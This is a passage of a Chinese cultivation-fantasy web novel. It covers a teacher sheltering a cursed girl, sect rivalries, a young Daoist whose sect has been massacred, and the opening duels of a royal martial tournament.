来到内院之人无一不是天才,可天才,不过是见某些人的门槛罢了。
少女第一次意识到,所谓天才,之间的鸿沟也会如萤火比之皓月一般难以逾越。
看着少女那黯淡的眸子,叶玄真微微有些失神。
“不就是天榜第一吗?以後我也会是的。”
他忽地这般说道。
少女鄙夷的看了他一眼。
“别以为你在第二关牌子比我多就比我厉害,我们还没打过呢。”
少女不屑的说道。
“呵,你若不服我们也来比比?”
“来呗,谁怕谁呢?”
少年少女又吵闹起来,好似草长莺飞的三月一般。
彼时的他们也并不知晓,在陆尘所看到的结局里,彼此终将分道扬镳,形同陌路。
…………
内院,井中世界。
寂寥而又暗淡的天日下,本就胆怯的少女更加害怕,原以为自己能坦然面对,却没想到真到了这见不到天日的地方,却还是心中生起退缩之意。
“要不换个地方?”
少女试探性的问道。
“不行。”
陆尘想也未想的说道。
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第四十八章 井中琐事
村中事务并未多繁琐,陆尘分发了一些一品养身锻体的丹药,并布下一座二阶灵阵后,便等着少女与村中之人告别。
原些对少女颇有怨言的村中人在陆尘到来后都变的喜笑颜开,直言当初少女来到村子时,便觉得她将来肯定是个不凡之人。
只有将少女捡回村中的老妪忧心忡忡的看着少女,不忍少女离去。
陆尘自然不愿多看这些伤神分别的时刻,但无论对於少女,还是对於老妪,二人就此分别,都是对彼此最好的选择。
离开村落後,陆尘便又带着少女来到这井中世界之中。
只是少女原本答应的好好的,如今又怯生生的,有些不敢往前走。
“怪阴森的。”
少女那晶莹透彻的眸子不停看向周遭,脸上神情紧张,步子也是极为轻缓,生怕惹出什麽吓人之物。
“你知道为何接近你的人都灾祸不断吗?”
陆尘见少女过於紧张,主动开口说道,希望分散少女注意。
“不知道。”
少女晃了晃脑袋,一提到这,她的眸子里便不自觉的有哀伤神色流露出来。
“这世间有些修行者得天独厚,受天道所青睐,有大气运大命格加身,天生便与他人不同。”
“此之谓少年至尊。”
“有人身负神体,以力便可破万法,有人背负玄图,生而知晓神通。”
“而你,亦是一位少年至尊。”
陆尘停下脚步,看向少女说道。
少女愣了愣,而後赶忙摇头:“若我是被天道青睐之人,就不会一个接一个的失去身边之人了。”
她喃喃念叨,有些失魂落魄的模样。
“恰恰相反,你确实是天道青睐之人,所身负的命格为灾祸厄体,天生便会吞噬周围之人气运,不断加深已身命格气运,这才是为何你周围之人总会遭劫的根源所在。”
陆尘坦然告知少女,并未有所隐瞒。
少女愣神良久,缓过神来后,也是失魂落魄的跟在陆尘身後,如行尸走肉一般。
陆尘并未再多说什麽,此番心境,并非是自己多说两句就能安抚下来的。
二人走了许久,这才到了青铜棺所在之处,陆尘指尖滴血,将苏月仙唤醒。
苏月仙睡眼惺忪的起身伸了个懒腰,曲线玲珑,一身彩衣也未能遮掩。
她虽发丝凌乱,却依旧难掩其倾城之貌,一举一动都仿若有着慵懒之意的天仙一般。
“怎麽了?”
见陆尘并非是约定时间而来,苏月仙眉头微蹙问道。
“这孩子这段时间会常住於此,你二人也好有个伴。”
陆尘笑了笑说道。
直到这时,秦长乐才怯生生的从陆尘背後探出一个脑袋,怯生生的向苏月仙打了个招呼。
“灾祸厄体?”
苏月仙愣了愣说道。
“不愧是魔尊姐姐,一眼就看出来了。”
陆尘比了个大拇指,十分狗腿的说道。
苏月仙自身气运便高的吓人,灾祸厄体想要去吸食她的气运,无异於痴人说梦。
“杀过一个,有些印象。”
她淡淡的说道。
而秦长乐听到这话后默默的把头缩了回去,心脏砰砰的跳个不停。
好美的姐姐!
但说话怎麽这麽吓人!
动不动就杀啊杀的!
“那便托你照料了,灾祸厄体确实不易放在外界,待我炼制一枚七品隐命丹,再将她带出去。”
陆尘顿了顿说道。
若是按照收益最大化处理,陆尘其实应该任由少女在外边才对。
待得自己炼制出七品隐命丹,少女说不定通过吞噬他人气运已经蜕变为真正的金色命格,那时系统给予的奖励肯定是更加丰厚才对。
陆尘也会有此想,但却不会有此行。
“本尊为何要答应你?”
苏月仙反问道。
陆尘愣
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了愣,倒是没想到苏月仙会这麽一问。
“你看这小姑娘多可爱,陪你解解乏也好。”
陆尘将秦长乐从身後拉出,而後捏了捏少女小脸,将原本怯弱欲哭的脸硬生生摆出一副笑脸。
苏月仙忍不住一笑,嘴角微扬,恰似一轮月勾初上。
她向秦长乐招了招手,秦长乐便十分乖巧的小步跑到苏月仙身旁,眼角馀光打量着苏月仙,内心忍不住的赞叹。
苏月仙容貌属实是惊为天人,哪怕是本就姿色不俗的少女见着,也不免因之惊叹,每看一眼,便要在心里念叨世上怎会有这般好看的女子。
“好了,你可以走了。”
她摸了摸少女脑袋,露出宠溺笑意,而後看向陆尘,语气平淡的说道。
陆尘稍稍一愣。
“今日不那个了?”
他问道。
秦长乐一惊,瞳孔瞪大的看向苏月仙,又看向陆尘,就这麽不断的晃着脑袋,好似拨浪鼓一般。
她似乎想到了什麽,小脸一瞬间通红,猛的捂住自己眼睛。
“哪个?”
苏月仙皱了皱眉头
“你说呢?就那个啊。”
“我每日所来,不就
为了此事吗?”
陆尘说道。
“衣冠禽兽!”
秦长乐捂着眼睛,心中暗骂一声。
“嗷,忘了,你过来吧。”
苏月仙回过神来说道。
“怎麽回事!仙子姐姐怎麽也同意了!”
秦长乐小脸通红,心砰砰的跳个不停。
她赶忙捂住耳朵,又把头低的很深。
见周遭又没了动静,少女又忍不住的抬起头来,把眸子微微睁开,用眼角的馀光往旁边一瞥。
与她所期待的画面不同,只见陆尘伸出手臂,而苏月仙一口咬在那手臂上,吸吮着伤口流出的鲜血。
陆尘眼光澄澈,像是在看一只自己养的猫一般。
第四十九章 山雨欲来
白鹿书院,木竹屋处。
陆尘屏气凝神,感悟灵海之中浮现的那一抹剑意。
恍然间,自己好似落㣉了一片宽阔无比的天地。
无数道恐怖如斯带着滔天灭世气焰的术法自极远的地方袭来,好似是要将整个世界彻底砸穿一般。
陆尘在那万千术法面前,只能如蝼蚁一般渺小。
他看了眼手中剑,闭上眼睛,不再去理会那如万千流星而落的术法。
“世间万法,一剑皆破。”
陆尘心中忽地有一股意气自胸口涌出,没来由的,他挥剑而起,好似要将世间的一切尽数斩落。
剑气激荡而出,一瞬间绵延万万里,将那万千术法皆破之。
天地也在这一刹那被展开一线,露出漆黑如墨的裂痕。
陆尘自冥想之中猛的惊醒,心中剑意激荡,一步至木竹屋外折了节翠竹,随手一挥,便有剑气宣泄而出。
“难怪剑修向来不缺道侣,这随手一剑挥出,也太装了。”
陆尘啧啧叹了声。
近来书院里热闹非凡,每日都有数场换位血战进行。
这其中虽有段凌云一跃登顶天榜第一而激起的少年热血,但更多的还是在於大离演武名额的争夺。
而大离演武,则是为了选拔出参加百朝大战的种子选手,像大离这般王朝,圣地给的参赛名额并不多,仅仅只有五个。
可就是这五个名额,却足以三大书院丶四大门阁以及各方势力去苦苦争夺了。
而白鹿书院选拔弟子去参加大离演武的方式,便是大离演武开始前一日的天骄榜前五。
如今段凌云稳坐第一,无一人敢与之换位血战,而王安亿虽惨败於段凌云,但有胆量与之血战之人,亦是寥寥无几。
故而如今的争夺焦点,只在这三到五名之上。
为了这三个名额,可谓是惹得内院风云又起,属实是又热闹了一番。
陆尘也会偶尔去看看这些少年人争斗的模样,并指点一二。
如今白鹿书院弟子的命格尽皆被其详细记录在册,并未有什麽遗漏之人。
“大离演武……不知道还会不会有什麽天纵之人了。”
陆尘自顾自的呢喃道。
他虽被大离先帝追为帝师,但陆尘其实并未管过朝中任何事,只提前和赵栀韵约好主持大离演武一事。
如今算算时间,也快到时候了。
……
大离,京都皇宫。
“孩子,随我走吧,你不属於此处。”
大殿之上,有一位宫装美妇浅浅而笑,笑容和煦的看向眼前的大离女帝。
在外人眼里威仪赫赫的女帝在美妇面前竟显的十分乖巧,眉眼弯弯,眸子如水般温润。
“多谢前辈好意,待我处理完大离演武一事,便随前辈离去。”
赵栀韵施施然说道。
“也好,有些俗世杂念先理清了,在大道之上才能走得更远。”
宫装美妇笑眯眯的点了点头,声音柔和说道。
若是像火德宗亦或是冷月宫这般大门大派的祖师在此,见到宫装美妇袖口上的那朵花纹,免不得要为之惊叹。
那代表着这看着和和煦煦的宫装美妇是瑶池圣地的长老人物,一举一动,一言一行,都足以令东域上的万千王朝覆灭。
如今她如此和颜悦色的与一位晚辈商议,属实是过於骇人听闻。
“杂念嘛……”
赵栀韵眉头稍稍一低。
自己有何杂念呢?
她想了想,又不自觉的呢喃起了那句诗。
风雨如晦,鸡鸣不已,既见君子,云胡不喜。
良久后,她又摇了摇头。
大道就在脚下,又谈何儿女情长。
这般想着,女子的目光便坚毅了许多,不再那般的忧愁。
宫装美妇看着女子神情变幻,似乎是想到了些什麽,眸子里闪过丝丝缕缕的追忆之色。
……
大炎皇朝,冷月宫。
“先前也唤过你数次,你总是犹犹豫豫的,如何这次答应的这般果断。”
一位白衣仙子语气平静的说道。
她脸上蒙着轻纱,衣袂飘飘,宛如人间仙子一般。
冷月宫修士本就以出尘若仙闻名,可在这位白衣仙子面前,却若是萤火比之皓月一般,原些的仙气也变得有些自吹自擂的夸耀之词。
在这位白衣仙子面前,只有一位眼角有着泪痣的赤足少女,神采依旧。
白衣仙子此番话,
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正是对其所说。
“哎呀,以前总想着再玩会儿嘛,仙子姐姐莫要生气。”
少女十分亲昵的摇了摇白衣仙子的手臂,语气娇柔的这般说道。
不远处,冷月宫宫主看着女儿这般难得的做作模样,也不免发笑。
“那你要想清楚了,瑶光圣地自太古时便长存於世,非此番地界可比,若你入了宗门,便再不可能像如今这般随心所欲了。”
白衣仙子又道。
长孙漠遥愣了愣,眸子里也有一丝哀愁,像是腾飞在天际的鸟儿终将要归笼一般。
“我想的很清楚。”
哀愁之色一闪而过,长孙漠遥目光又变得十分坚毅的说道。
少女一向是个随心所欲的散漫性子,很少像这般郑重。
冷月宫宫主见少女这般模样,忍不住的叹了口气。
自从从白鹿书院回来后,她就变了许多,要比以前看重修为的多。
“好,你我明日便回圣地。”
白衣仙子也并未再多问什麽,轻轻点了点头。
而少女忽地抬头望月,心中有些有什麽心事。
夫子,等她到至尊境界的时候,我会是什麽境界呢?
我不知道。
但我不允许有人想要杀你。
她想杀你,那我便替你杀她。
……
数日之内,诸圣地的长老们陆陆续续的返回宗门之中,而一头境界极高的大妖灵鹫带着七大圣地的信物巡游天下,昭告着百朝大战即将开启。
金光洒落在东域的各个角落,所有人都知晓,山雨欲来。
昆仑丶太虚丶太玄丶真天丶摇光丶瑶池丶荒古。
七大圣地执掌着整个东域数个纪元的秩序,众生在他们的掌中都不过是随意搬弄的棋子而已。
而少年少女们带着刀剑,将要奔赴那未知结局的战场,只为能跳出这般棋局,也成为这执棋之人。
少年至尊们也将在其中碰面,以血和火去捍卫所谓天骄的荣耀。
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第五十章 小道士
大离,京都。
寒冬之际,大街小巷却并非是空无人烟,反倒是热闹异常,好似有何节庆一般。
而各条大街之上,也是有着诸多身着同一制服的年轻男女闲逛着,百般好奇的看着大街两边的各般摊位。
这些年轻男女虽在常人眼中是可望不可及的仙师,但於他们自己而言,却因为常年远居高山之上,对於山下这些玩意属实是好奇的很。
领路的年长之人也并未在意,笑着任由这些年轻人在大街之上活蹦乱跳的,毕竟这般众人齐齐外出,在俗世之中行走的机会,属实是罕见。
“我墨渊阁行事,你也敢管?”
忽地有一道争执声响起,将众人的目光引了过去。
只见一面色有些阴沉的男子手中拿着什麽东西,正欲从摊前离开,摊位上的摊主目光祈求的看着男子,嘴唇微颤,想说什麽,却又不敢张口。
而有一消瘦少年拦在男子身前,不愿放其离开。
男子身着玄色衣裳,正是墨渊阁的服饰。
那一消瘦少年则身着一身道袍,为流云阁修士。
大离王朝有三院四阁的说法,即除开三大书院之外,还有墨渊阁丶流云阁丶紫轩阁丶听雨阁等四阁。
这七宗占据着大离王朝境内气息最浓郁的各处灵山,若说大离皇室是山下主宰,那麽这七宗则是大离王朝境内当之无愧的山上主宰。
眼前这男男女女的一行人则是紫轩阁之人,本开开心心的在大街之上闲逛,却是见着了墨渊阁与流云阁的落单弟子发生冲突。
“把东西还给他,你没给钱就算是在偷在抢。”
小道士咬着牙,似乎有些害怕,但还是鼓起勇气,这般大声说道。
男子呵呵一笑,转过身去问那摊主。
“你说我给没给?”
摊主赶忙摆手,又赶忙点头,像是害怕的已经有些神智错乱。
“给了!给了!”
他连忙说道。
听到这话,男子脸上露出满意的笑容,而後又转头看向小道士。
“听到了吗?还不快滚开。”
男子眉宇间流露出厌恶神色,冷声呵斥道。
“他是怕你才说没给的,我亲眼看到你是直接拿走的,没有给钱。”
小道士十分坚定的说道。
而紫轩阁众人听到小道士这话也感觉那男子品行不端,当下议论纷纷,看向那男子的眼神也变得鄙夷起来。
男子见自己被这麽多目光齐齐注视着,当下更是浑身不自在。
心口处猛的涌起一团怒火,挥拳就要砸向那小道士。
小道士虽然神情十分恐惧,但却并未退让一步,排出一掌,带着莫名道韵。
“我求求这位道爷了,您高抬贵手饶了我可以吗?”
就在这时,那摊主竟猛的跪下地来,带着哭腔的向小道士喊道。
小道士一瞬间失神,被男子一拳砸中,猛的摔倒在地,吐出一口鲜血。
他并未再理会男子,而是看向那跪地磕头的摊主,眼神中满是不解。
为什麽呢?
自己不是在帮他吗?
为什麽要用这种怨恨的眼神看着自己。
该怪的不应该是抢他东西的人吗?
小道士想不通,还来不及等他问些什麽,那摊主便利落的将东西收拾好,赶忙离开,像是亡命逃窜之人一般。
男子看着小道士失魂落魄的模样,呵呵笑了笑,吐了口唾沫,恶狠狠的往小道士腹中踹了一脚,便欲就此离去。
紫轩阁弟子中有人想要冲出去,却是被领路的长老瞪了一眼,将之拦了下来。
“如今四阁之中,就属墨渊阁最为势大,如今已经不是我们紫轩阁能惹得起的了,无需为了这点琐事去与墨渊阁交恶。”
长老幽幽叹了口气说道。
原些还开开心心游街的少年少女们忽地有些泄气,一瞬间竟是觉得这外边也并未多好,倒不如回山上去呢。
“站住。”
忽地有一道声音在男子的身後响起,只见有个身披黑袍,後背背着大剑的少年倚靠在墙边,冲着男子喊了一句。
男子转过头来,刚想说些什麽便受到那少年迎面而来的一掌。
这一掌掌风之刚烈,一瞬间便令男子倒飞
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而出,猛的砸在地上,吐出一口鲜血,如那小道士一般凄惨。
“小杂种!你知道我是什麽人吗?”
男子眼神怨恨的盯着那少年,恶狠狠的这般问道。
少年笑了笑,露出尖牙。
“墨渊阁啊,没找错呢。”
他身形一闪,便到了那男子身前,猛的踹了男子一脚,将本要爬起的男子又踹倒在地。
“你们这个门派不全是些仗势欺人的狗东西吗?”
少年呵呵一笑说道。
“骂得好!”
紫轩阁中有弟子看的心情激荡,当下也是高呼一声,哪怕长老想要出言呵斥,却耐不住宗门少年少女们皆是齐齐高喝,为那少年助威。
小道士也爬了起来,有些怔怔的看着前面二人。
“小杂种,你该死!”
见有人这般侮辱自己,男人怒喝一声,刚想要施
展什麽手段,便又被少年猛的一踹。
“滚吧,把你们宗门里的老狗叫出来,告诉他们,林炎来算总账了。”
少年又是一笑,任由那男子慌乱逃窜。
林炎抬头看了眼远处那高耸入云的皇宫,笑意又逐渐收起,目光渐渐变得平淡。
他也没想到自己会这麽快回到这个地方,当初立下的三年之约尚未满一年,便再临京都了。
听闻当初皇室有过一场大变,三皇子也死在其中,好在那位皇家小公主尚且活得好好的,不然自己这近一年所受的苦,属实有些白费了。
“这位施主……墨渊阁确实很厉害,你要不还是快跑吧。”
小道士打断了林炎的思绪,他挠着脑袋,有些担忧的看向林炎。
“无妨,我既然敢这般行事,自然已经备好了万全之策。”
林炎笑了笑说道。
“倒是你伤的不轻,别自己落单走了,快回师门去吧。”
他向小道士摆了摆手,脚步轻点,一跃便上了墙头,很快的身影便消失在众人眼前。
小道士在原地呆愣着,看着自己身上的道袍,忽地喃喃自语,有些失魂落魄的道:“可我已经没有师门了。”
第五十一章 大离演武
大离京都,玄武广场。
玄武广场位於京都东南之角,占地极广,连绵万里。
如今三院四阁之人齐聚於此,面上各自打着招呼,实则是暗自藏着锋芒。
白鹿书院,青鸟书院,紫狮书院,墨渊阁,紫轩阁,听雨阁,流云阁。
“流云阁中人呢?”
三院四阁祭酒阁主们聚集在一起,相互攀谈说笑着,直到好一会後,才意识到流云阁中人竟并未到场。
“对啊,怎麽一位流云阁弟子都未曾见着。”
他们往人群周围一扫,并未察觉到有流云阁中人的存在。
而不远处,陆尘与赵栀韵相视一眼,亦是知晓此事。
赵栀韵眉头微蹙,流云阁中人迟迟未至,隐隐约约间令她感觉到有什麽事发生。
陆尘则是在人群之中悠闲漫着步,打开武道天眼去探查三院四阁的弟子们,看看其中是否有非凡人物。
出乎陆尘的意料,诸宗弟子齐聚於此,除开白鹿书院的段凌云外,竟无一人有蓝色之上的命格。
而陆尘注意到这点后,也不免有些失望,这才意识到三院四阁之中少了一门。
“我记得流云阁回复过信了。”
赵栀韵在陆尘身旁轻声说道。
“如今还能联系的上吗?”
陆尘又问。
赵栀韵摇了摇头。
“当初大离演武的请柬回复后,流云阁那边便没了消息,我原以为是他们在路上耽搁了,如今看来,或是出了什麽意外。”
陆尘微微皱眉,在大离境内,能让三院四阁有什麽意外的势力,那可真是少之又少。
想到此处,他的目光不自觉的转到墨渊阁阁主的脸上,而其他阁主祭酒们,也都默契的看向墨渊阁,似乎认定了流云阁真要出事的话,定会和墨渊阁有所关联。
墨渊阁阁主脸一黑,嘴角抽搐。
“别看我,我也不知道。”
他冷哼一声,面色阴沉。
其他几家自然不信,面面相觑的看着彼此。
赵栀韵眉头微蹙,墨渊阁虽然行事向来霸道,但如今事情都没有任何头绪,自然也怪不到墨渊阁的头上。
就在这般猜疑的氛围越来越浓郁时,紫轩阁的一位长老站了出来,言明见过流云阁之人。
众人这才稍许放下心来。
“抱歉,抱歉,我来晚了……”
就在这时一位穿着道袍的小道士挤进人群之中,气喘吁吁的说道。
小道士的忽然闯㣉吸引了所有人的目光,众人将目光齐齐投在他的身上,令其感到一丝不自在。
“你师长与同门呢?”
墨渊阁阁主冷脸质问道。
小道士被他这麽一问,忽地有些慌神。
“莫急,你慢些说也好。”
赵栀韵开口,语气柔和道。
见大离女帝这般开口,墨渊阁阁主这才收起了冷脸,不再多说些什麽。
“大家都死了。”
小道士低下头,声音有些哽咽说道。
在场之人皆是一惊,一时间也没听明白这小道士说的话是何意思。
“你在说什麽?都死了?”
一位阁主竟也是有些失态,这般一脸不可置信的问道。
小道士点了点头。
“前几日,我醒来之时,师门已经满地尸体,没有一位活人……”
小道士面色痛苦,显然并不愿去回忆起这段记忆。
“原本是师傅带着师兄他们来的,但现在只有我活着了,所以我自己来京都了。”
小道士又说道。
说起这些话时,他很想哭,但他总会想到师傅和自己说过眼泪是解决不了问题的,所以他强忍着,只是声音有些哽咽的和众人说道。
“你当我们是傻子?”
墨渊阁阁主冷哼一声,身上的灵气威压宣泄而出,便向小道士涌去。
赵栀韵玉手轻挥,便将这股威压挥洒而去,她转过头盯着墨渊阁阁主,不威自怒。
而向来行事霸道的墨渊阁阁主也是如老鼠见猫了一般,当下露出歉意笑容,退到一旁。
这并非是什麽对皇室的尊重,要知晓昔日哪怕在大离皇帝面前,这墨渊阁阁主也是总以长辈之人自居。
之所以在赵栀韵面前如此畏畏缩缩,也只不过因为在皇道龙气加持下,赵栀韵的实力已经要胜的过自己。
天才不可怕。
可怕的是已经成长起来的天才。
而赵栀韵便是这般,不仅天资纵横,更是真正走到了太阴境界。
这才是墨渊阁阁主对其畏惧的原因。
当初得知皇宫夜变之时,远在万里之外的墨渊阁阁主还期望着赵栀韵死在这场夜变之中,却没想到赵栀韵不仅没死,还一步踏上太阴境界,成为真正的强䭾,而非还在生长的天骄幼苗。
说来也好笑,场中三院四阁以及皇室的天骄们疯狂争夺着百朝大战的㣉场券,只为了一个虚无缥缈进㣉圣地的机会,却不知他们眼前的这位女帝才是当之无愧的天骄,早已受到了圣地之人
的邀约,甚至无需在百朝大战之中厮杀。
“我没骗你们……”
小道士眼神诚挚的说道。
“我来此也不是为了什麽百朝大战,只是想趁着你们这些大人物都在,将此事告知你们,想着会不会有人愿意帮我们流云阁调查清真相。”
小道士顿了顿又说道。
他头疼欲裂,脑子里总是会漂浮着那些尸体横陈的血腥画面,小道士不愿意去想这些东西,可那些画面总是会浮现在自己的脑海之中,令他分外的难受。
小道士知道,能屠杀满门的仇人肯定是个手眼通天的大修士,但小道士并不害怕,他发誓,要是自己找到他,一定要杀了他。
这般想着,他的拳头不自觉的攥紧,心中杀意攀升,不自觉的宣泄在外。
“我一定……一定会找到凶手……杀了他……”
小道士心中这般不断的念道。
尽管自己是师傅总是和自己念叨着,什麽上天有好生之德啊之类的话,可小道士觉得上天真有好生之德的话,那师门上下也不会无一活口吧。
所以他一定一定会找到那个凶手,并且杀了他。
小道士还没杀过人,也不知道杀人到底是怎样的。
别说是杀人了,他其实连一只鸡都不敢杀。
但无论如何,他都已经下定决心,要那个凶手付出代价。
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“我只杀那一个人,应该算不得对不起师傅吧。”
小道士也会这般想道。
“那为何他们都死了,你活着呢?照你所说,凶手将流云宗满门尽屠,显然是有什麽深仇大恨,又为何有单单放过你一人?”
青鸟书院的祭酒沉思片刻后问道。
小道士也是被这话问的一愣。
对呀,为什麽自己活着呢?
为什麽只有自己活着呢?
如果可以的话,小道士倒是希望自己和他们一起死了好,那便不会一睁眼看到那尸山血海的恐怖画面了。
见小道士沉默不语,那祭酒又追问道:“你说你醒来后见到满门被屠,照理说又有护宗大阵又有拚死血战的,这般大动静,你还能睡得这麽沉?”
青鸟书院祭酒又道。
他并未像墨渊阁阁主那麽咄咄逼人,而是照着小道士所说的疑点冷静询问。
小道士呆愣在原地,一时间说不出个所以然来。
他本就不太会说话,如今被这麽一问,更是头脑空空,只剩下对血腥那画面的回忆。
“要我说,这小子满口胡言,直接关起来便是,待得演武结束后,各宗与皇室再派人前去调查。”
紫狮书院的祭酒亦是个暴脾气,见小道士所说之话实不可信,当下便提议将小道士关起来。
“我愿意被关起来,但请各位大人前辈一定要查清我流云阁遭劫一事。”
小道士面色坦然,并未因青鸟书院祭酒的质疑又或者是紫狮书院祭酒的愤怒给影响。
他双腿一曲,竟是想要跪地磕头。
陆尘稍一拂袖,将小道士扶正。
“我信你。”
他说道。
小道士看向陆尘,心中有些感动。
“我也信你。”
赵栀韵亦是点了点头,向小道士浅浅笑了笑,并不像什麽威仪天下的女帝,反倒像是个大姐姐一般。
小道士鼻头一酸,眼泪差点抑制不住的涌出。<
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p> 见陆尘与赵栀韵皆这般说,这些祭酒阁主们也不再多说些什麽。
二人一个背靠冷月宫,一个已经隐隐约约成了大离第一人,这场中,自然是他二人说的要更算数。
“流云阁一事,待得大离演武结束后便立马彻查,你看可以吗?”
陆尘笑容和煦向小道士问道。
小道士赶忙点头,他自然知晓大离演武意味着什麽。
宗门被灭对於自己而言是天大的事,但对於场中这些人来说,可并算不得什麽,只能是酒後茶馀的谈资而已,怎麽与百朝大战的㣉场资格相比较。
“那我先在一旁等着。”
小道士又说道,当下便欲退到人群之外。
“你不参加这场演武吗?”
陆尘叫住小道士问道。
小道士又摇了摇头。
“我修为不太行,而且本来要来参加的也不是我,是师兄师姐他们。”
小道士眼神悲哀,神色落寞。
明明大家都那麽好,为什麽都死了呢?
“上场试试吧,你要记住,虽然大家都不在了,但如今你所立之地,便是流云阁。”
陆尘看向小道士,这般说道。
小道士忽地一愣,一时间说不出话来。
“三院四阁皇室一向是大离演武的参与者,如今你便代表着流云阁,你确定要在一旁看着吗?”
他语气轻和的向小道士说道。
小道士低头沉思良久,最後还是抬起头来。
“我不看着了。”
小道士神情坚定的这般说道。
陆尘露出欣慰笑意,拍了拍小道士的
肩。
“那你先专心比赛,待得大离演武结束后,我们再论流云阁之事。”
小道士连忙点头,退到人群之中。
“此届大离演武与往届一般,共有五个擂台,七日之後,这五个擂台的擂主即为百朝大战的参赛之人,每一人对於同一位擂主,仅有一次挑战机会。”
三院七宗以及皇室皆有五人,总计五十五人,五十五人中角逐出五个名额,看似概率挺大,好像并非是什麽难事。
可事实上这五十五人已经堪称整个大离最为顶尖的一批少年天才,想要在这群天才之中脱颖而出,并未有那麽容易。
陆尘话音落下,只见那玄武广场的正中央便有五座大型擂台自地底轰鸣升起。
众阁主长老们则是高坐云端,看着底下众弟子,相互猜测着到底是谁会率先登上那几座擂台。
“你墨渊阁那位天骄之名可是如雷贯耳啊,想必届时要先行一步吧。”
听雨楼阁主是位女子,发鬓挽起,声音软糯,令人听之则好似受春风吹拂而过。
墨渊阁阁主问得此恭维之话,也是抚须大笑起来,口中却还是推辞说道:“那帮孩子顽劣,图有些虚名,不见得有什麽真本事。”
就在他这般推辞间,已经有一位身着玄色衣裳的男子踏上擂台,正是墨渊阁弟子。
见到这一幕,墨渊阁阁主脸上的笑意更甚,颇为得意的扫过身旁的几位祭酒阁主。
近年来墨渊阁本就势大,若不是皇室突然出了赵栀韵这麽个天纵之才,而白鹿书院又突然和冷月宫搭上了线,其实墨渊阁隐隐已经有第一宗门的趋势了。
“墨渊阁,玄机,诸位有谁敢上来一战。”
墨渊阁男子神情桀骜,大有睥睨天下万物之势。
这擂台赛并非是越早上越得利,相反第一位擂主往往最吃亏,因为谁也不能保证自己能从第一日战到最後一日。
故而敢於在第一位就踏上擂台之人,确实拥有绝对的自信,也有这般睥睨天下的底气。
白鹿书院之中又有一人走出,正是段凌云,只不过段凌云并未与那男子交手,而是去到第二座擂台。
转瞬之间,五座擂台便已经站满了人。
其中一人来自白鹿书院,两人来自墨渊阁,一人来自青鸟书院,一人来自紫狮书院。
“当真无人敢与我一战?”
第一位登场的墨渊阁男子又喝道。
还未等他这话音落下,便有一把重剑蒙的飞㣉擂台之上,带着炽热无比的火之大道气息。
“打了个瞌睡没注意,还真以为给你脸了?”
来人笑了笑说道。
第五十二章 天骄争锋
擂台之上,少年拔出那把重剑,面带挑衅笑意的看向对面那位墨渊阁弟子。
他浑身上下有一股炽热气息缠绕,好似自身便是一团燃烧盛放的火焰一般。
“林炎!你竟敢来此?”
墨渊阁弟子玄机看着眼前少年,瞳孔瞬间猛缩,脸上不自觉的有怒气显露。
而台下亦是引发一阵暴动,不少墨渊阁弟子都冲着台上那少年破口大骂,看他们的脸色,皆好像恨不得要将那少年生吞活剥一般。
云端之上,墨渊阁阁主身上杀意也险些遮掩不住的溢出。
他的眸子中燃烧着怒火,显然对那台上的少年万分忌恨。
“三院四阁之会,这小子凭什麽入场?老夫没记错的话,他应该早已不是你们白鹿书院的弟子了吧。”
墨渊阁阁主扭过头,看向白鹿书院祭酒。
祭酒摇了摇头道:“林炎虽退出书院,但毕竟曾在我白鹿书院学习,自然是我白鹿书院弟子。”
“不过他用的并非是我院名额。”
祭酒又补充道。
“林炎为我听雨阁所请外援,这应该不违规吧。”
温婉女子忽地一笑说道,她眸子眯起,眼角弯弯好似月勾。
三院四阁各有五个名额,而这五个名额之中确实有一个可以留给非本门派之人,即谓之外援。
听到听雨楼阁主此言,墨渊阁阁主脸色忽地一沉,眼神阴暗。
“苏阁主难道不知晓这小子与我墨渊阁有笔天大的账要算?”
墨渊阁阁主身上的灵气不自觉的宣泄而出,顿时令云端之上有股极为恐怖的压迫感。
而底下的诸宗弟子也是疑惑的抬头而望,不知那云端之上到底发生了什麽。
“我并不知晓。”
苏阁主露出惊讶神色,就好像对墨渊阁与林炎之事真的一无所知一般。
墨渊阁阁主冷哼一声,虽心有不满,但众目睽睽之下自然也不敢有别的什麽举动。
至於听雨楼阁主所说对此事并不知晓,墨渊阁阁主只觉得她在放狗屁。
当初林炎击杀墨渊阁长老之事可早已传遍了三院四阁,听雨楼本就最善情报收集,听雨楼阁主又怎会不知此事。
“我为何不敢?”
林炎龇牙笑道,身上的气息依旧炽热无比。
“难道你们墨渊阁那位被我打的屁滚尿流的弟子没通知你们吗?”
他眉头一挑,笑呵呵的说道。
墨渊阁弟子玄机知道自己嘴上占不得什麽便宜,当下也不再与林炎多说些什麽,猛的一踏步而出,带着狂暴无比的气息砸向林炎。
而第二座擂台处,段凌云已经率先将一位攻擂者击退,且是以摧枯拉朽之势,如同山岳压人一般,令对手没有半分抵抗之力。
“那人是谁?怎麽如此恐怖……”
“从未听说过这人啊……”
“白鹿书院何时出了这般人物?”
一瞬之间,众人的注意力又从林炎之处转到了段凌云身上。
对於三院四阁的绝大多数弟子而言,段凌云都是一个籍籍无名之辈,就好像突然出现一般。
“我对其也不太清楚,只知晓我内院天骄榜第一在前段时间败於他手中,且是惨败。”
有白鹿书院弟子透露出内幕,场上的三院四阁弟子这才对其有了稍许了解。
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“好强的压迫感,感觉墨渊阁那几位天骄也未有这般强悍的实力吧。”
场中议论纷纷,都是对那段凌云显露出的恐怖实力万分感慨。
当其他几处擂台尚且还在比试之时,段凌云已经击退数位攻擂之人,一时间,竟已经没有人敢上他那座擂台。
“荒古血脉竟在此重现……好苗子啊。”
云端之上,青鸟阁阁主忍不住的感叹一句,带着艳羡目光的看向白鹿书院的祭酒。
白鹿书院祭酒本是个老成持重之人,但此时也是颇为得意,笑了笑摆了摆手。
荒古神体,可称少年至尊,祭酒对此自然颇为得意,同时也庆幸书院有个杂役弟子的机制,若不然这麽好的苗子可就把书院自己亲手拒之门外了。
“确实了不得。”
一向脾气火爆的紫狮书院祭酒
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也不免感叹道。
“藏的可真深,这麽一个宝贝,以往竟然听不到一点风声。”
墨渊阁阁主也是阴恻恻的说道,面色越发不悦。
他原以为此届大离演武,自己阁中那几位天骄可以包揽前三之位,但如今看来,似乎没人会是这段凌云的对手。
“小心驶得万年船。”
白鹿书院祭酒说了句意味深长的话。
除开墨渊阁阁主外的其他几位阁主祭酒们也就此点了点头,好像想到些什麽一般。
所谓天骄,在未成长起来之前,也不过就是低境界的小修士而已。
死了的天骄,就算天赋万古第一又如何,死了便真是死了。
“且看好,此术名为——焚世火莲。”
第一处擂台之上,二人气息皆已经攀升到极点,各自拿出看家本领。
